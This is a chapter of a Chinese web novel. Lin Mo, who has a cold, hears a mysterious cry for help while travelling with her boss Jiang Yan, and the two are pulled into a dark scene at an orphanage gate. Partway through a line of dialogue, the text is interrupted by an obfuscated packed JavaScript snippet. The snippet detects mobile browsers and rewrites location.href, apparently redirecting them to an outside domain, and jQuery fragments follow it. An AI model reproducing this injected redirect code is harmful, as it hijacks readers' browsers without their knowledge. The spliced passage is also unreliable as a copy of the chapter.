47. 隐瞒
作品:《在非遗系统救老板》 林茉生病了。
原因是出差前一天晚上突然下雨,她没盖好被子,受了凉。
嗓子很痛。
商务车舒适宽敞,林茉松散地靠在椅背上,不时瞟一眼江砚,不过对方一直在处理什么,明显有事在忙。
在忙就不要打扰。
这是常识。
车载香薰的沉静香气随着空气若有似无地流动,可是却总觉得有些窒闷,想开窗。
希望嗓子痛不会继续严重,不想自己单独相处这几天存在感太强。
窗外景色变了又变,从城市景观到自然景色,大片的原野,中间还有一片宽阔湖泊,司机为什么不开音乐呢?他不觉得空气过于安静吗?
树木开始重复。
虽然林茉喜欢看风景,但路程未免漫长,这么远的路,干嘛要自己开车去。
林茉坐直了一点,目光投向江砚,想问问还要开多久。
江砚觉察到了林茉的动作,转头看她,“怎么了?”
但开口的冲动就像一枚气泡,出现的瞬间就消失于空气。
林茉看着江砚,他问完之后,保持着询问的表情,双唇自然微张,林茉想到曾经看到过的网络上关于“江总”的视频,江总走路、江总开车、江总眼神...
似乎此刻独享他的目光是被眷顾的幸运。
也是更高级的麻烦。
“没事,随便动一动。”林茉说。
就在这时,耳边突然再次出现声音,林茉脸色变了变。
救救我——
尽管声音依旧微小,但这次勉强可以听得清了。
“怎么了?”江砚皱眉,对林茉的欲言又止有些气恼,之前明明还认真说过要坦荡信任?
“不舒服?晕车?”
看来江砚听不到这个声音。
林茉犹豫要不要告诉他,不自觉也在皱眉。
江砚眼神冷了下来,但依旧聚焦于林茉,眼皮抬起又落下,上下打量。
林茉再次的犹豫和迟疑尽收入眼,更加重了“她有事瞒我”的疙瘩。
于是江砚看回屏幕,“快到了,坚持一下,不舒服就说。”
林茉也坐正回去,“嗯,没事。”
--
没睡好。
躺在床上嗓子更加不舒服,敏感得感受得到空调吹送出的每一丝风,每一丝风都让干痒加剧一分。
忍不住想喝水,但也于事无补。
就这样清醒了很久很久,林茉才迷迷糊糊睡着,睡得也不安稳,好像脑子一直是清醒的,一直在想和江砚到底出了什么问题,白天听到的“救救我”是真的还是听错了。
闹钟响起时,整个人更加难受。
虽然一百个不想起,但林茉还是挣扎着起床,她不想让江砚等,起床的痛苦让她感觉自己好像又重新开始工作。
江砚天生老板体质,每天晚睡早起,连休息日也没有例外。
收拾好后,去敲江砚房门。
看起来江砚居然已经早就收拾妥当,外厅书桌上平板处于打开状态,甚至还工作了一会儿?
!
说好7点起就可以,她还早了10分钟呢!
“早,”林茉有点不好意思,“你等很久了吗?”
“没有,”江砚转身走进房间,空气留下的淡香让人沉迷进去,林茉站在门口不动。
江砚很快去而复返,“走吧下去吃饭。”
但林茉状态依旧昏沉,没什么胃口,只想快点吃完,然后下楼到车上靠着。
所以在江砚第二次劝说她再吃点的时候,她终于有点控制不住。
她单手拖着下巴,直视江砚,眼神里装着故意表现出的笑意,“我说了,不吃,江总今天有点烦啊。”
...
江砚沉默了几秒,站起来走到林茉身边,低头看她,“不吃走吧。”
“救救我——”
就在这时,那个声音再次出现。
林茉起身的动作滞了一下,单手撑住桌边,没有听错,的确是求救。
谁在求救?
系统?
系统又不是人,它只会不打招呼地拉人进去做任务。
该不会——
一个难以置信的想法浮出水面。
林茉看着江砚的脸。
该不会是,江砚吧?
他的心声?
说起来,好像的确是每次听到这个声音,江砚都在场。
可能这样的想法让林茉的表情看起来有点奇怪,江砚扶住林茉手臂,用力带了一下,表情也变得关切起来,“怎么了?从昨天开始就不对劲。”
林茉站直,从后背轻推江砚,“边走边说。”
其实她还没想好如何开口。
“你——”林茉搜索措辞,试图柔和一点,哪怕求救声真的来自于江砚,他应该也不希望这么直接被拆穿,“最近发生了什么事吗?”
江砚无语。
什么事你不清楚吗?
于是反问,“你说呢?”
林茉:?
谁能想到这位一身西装的老板会有这样一面,因为几句客观、措辞温和的评论一直闹别扭。
“也没说什么吧,”林茉小声嘀咕,但转念想到这两天僵持的气氛,和不明来源的求救,觉得没有必要因为这么一点小事争个输赢,于是又补了一句,“对不起啊。”
其实人的记忆一点也不可靠,只要稍微、稍微碰一下,加一点减一点,再想起时的感受就会完全不同。
“我不喜欢你那样说我,”江砚放慢脚步,等林茉走上来和自己并排,“一条一条,我是什么物件、机器。”
林茉感觉内心像是有一簇小小的浪花翻涌了一下。
人有多么容易被改变、被影响?
她甚至觉得自己好像中了系统的计谋,原本她其实根本没有刻意评价过江砚,只是顺其自然地相处,更别提工整地列出一条一条。
可当系统提取了她的部分想法,并以那样的形式加以展现,她便毫无阻碍地认同,还觉得那真是自己对江砚的评价。
“其实我不是那个意思。”
但话一出口,又变得苍白,不是“那个意思”是什么意思呢?
江砚笑了,推开酒店大门,
声音里浸着清晨凉爽的风,“没事我明白,不用解释。”
林茉笑了笑,江砚今天行程很满,不知道该不该这时候告诉他自己听到声音。
还是应该坦诚一些。
“师傅开个音乐?”林茉上车对司机说。
司机回头看江砚,江砚点头,“听她的。”
车子平稳行驶,林茉勾了勾手指,示意江砚靠近些,“我有件事想和你说。”
林茉声音很轻,几乎是气声,上半身微微探出座椅,与江砚的脸隔着暧昧的距离。
比起说出口的信息,倒是这个说话方式让江砚更加需要消化。
他微微耸了耸一侧肩膀,耳缘染上不被觉察的粉红,“别这么近
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603915|164012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,姐姐。”
林茉:......
---
“确定是‘救救我’?会不会听错了?”
江砚提醒自己保持理智,不要陷入到林茉的眼睛中去。
林茉神情认真地摇头,“没有。”
“救救我?”江砚小声重复,内心一片疑惑。
话音刚落,周围“唰”的一下漆黑下来。
林茉感觉到自己肩侧立刻被江砚揽住,投入进一个充满沉静香气的怀抱,江砚的动作几乎是条件反射一样。
原本行驶在柏油路上的商务车突然驶进了石板路,司机却毫无察觉似的还在继续向前开。
车窗外一片漆黑,但故事听多了,总担心玻璃窗上随时会出现一张脸。
江砚和林茉对视,之前只会拉他们两人进入系统,而且多半是在夜间,现在不仅时间范围扩大,而且拉人范围也在扩大。
“师傅?”林茉尝试呼唤司机。
但他却好像没有听到,甚至没有察觉后面坐着人,只是机械地看着前方一直开。
车灯无法穿透浓稠的黑暗,此时对于感受来说,行驶在路上和悬于深空几乎没有区别。林茉不自觉和江砚靠得很近,几丝长发贴在他脖颈皮肤上。
黑暗放大悬而未决,然而物极必反,当心极度紧张,弓弦绷到比极致还多一分时,反而松弛下来。
林茉再次找回身体感受,感冒的眩晕感反倒成为了唯一真实。
她懒洋洋说了一句:“有点晕,我闭眼休息一会儿。”
不等江砚开口,车突然毫无预兆地停了。
司机按开自动门,寒冷潮湿的风吹拂而进。
车门洞开,外面大片的黑暗涌了进来,伴随着几不可查的消毒水气味。
江砚轻轻动了动手臂,“下车看看?”
蓦地——
林茉脑海中划过曾经做过的梦,画面只闪过一瞬,可是她却看得无比清晰,漆黑雨夜,守岁人孤儿院的牌匾锈迹斑斑,恐惧顺着潮湿的风钻进每一处缝隙,又从缝隙渗透至全身。
“我——”林茉难得想退缩。
江砚也觉得意外,印象中林茉可是永远有一种在危机中睡大觉的底气,“怎么了?”
不知这底气源于何处,只觉得她比自己还要勇敢。
林茉深吸一口气,“没事,走吧。”
江砚直觉她又在隐瞒,他想起那家充满迷雾的孤儿院,和那封自己最终没有点开的邮件。
如果那时点开看看,是不是现在就能知道林茉怎么了呢?
江砚伸出手,“要不要牵着?”
温暖干燥的触感通过掌心的敏感神经传至心底。
不一样的,梦里她是一个人,现在她不是一人。
再开口时,林茉声音恢复了镇定,“你先下车。”
不知何处吹来的风将林茉鬓发吹得飘舞飞扬,无边漆黑中,一座高大的城门矗立,墨色墙面反着光。
城门居然是半透明材质,看似只有薄薄一层,两扇门上各刻绘有一条盘踞状态的蛇。
“这是什么?”江砚开口,“蛇城?”
像是在回答他的疑问,一盏光源突然出现于城门上方,缓慢移动至牌匾处,一寸寸照亮那块同样是半透明材质的牌匾。
瞬间,江砚感觉到自己的手被用力握紧。
牌匾上六个大字渐次呈现:
守岁人孤儿院。
林茉的呼吸都重了起来,甚至想立刻转身逃回车里。